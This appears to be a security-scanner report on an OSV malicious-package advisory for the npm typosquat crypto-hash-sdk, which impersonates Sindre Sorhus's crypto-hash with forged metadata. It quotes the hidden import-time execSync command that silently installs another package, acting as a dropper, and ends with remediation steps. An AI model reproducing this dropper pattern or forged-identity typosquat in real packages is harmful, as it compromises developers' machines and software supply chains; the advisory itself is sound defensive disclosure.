crypto-hash-sdk
This report shows the evidence for crypto-hash-sdk@1.0.1, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4541 confirms this npm version as malicious.
Advisory
MAL-2026-4541
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in crypto-hash-sdk (npm)
Details
Package name and metadata impersonate Sindre Sorhus's legitimate `crypto-hash` package (forged author `Sindre Sorhus <sindresorhus@gmail.com>` and repository `sindresorhus/crypto-hash` in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls `execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true })` — on any `require()`/`import` of this module, the installer's machine silently runs `npm install` for the unrelated `prettier-sdk` package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to crypto-hash-sdk@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing crypto-hash-sdk@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.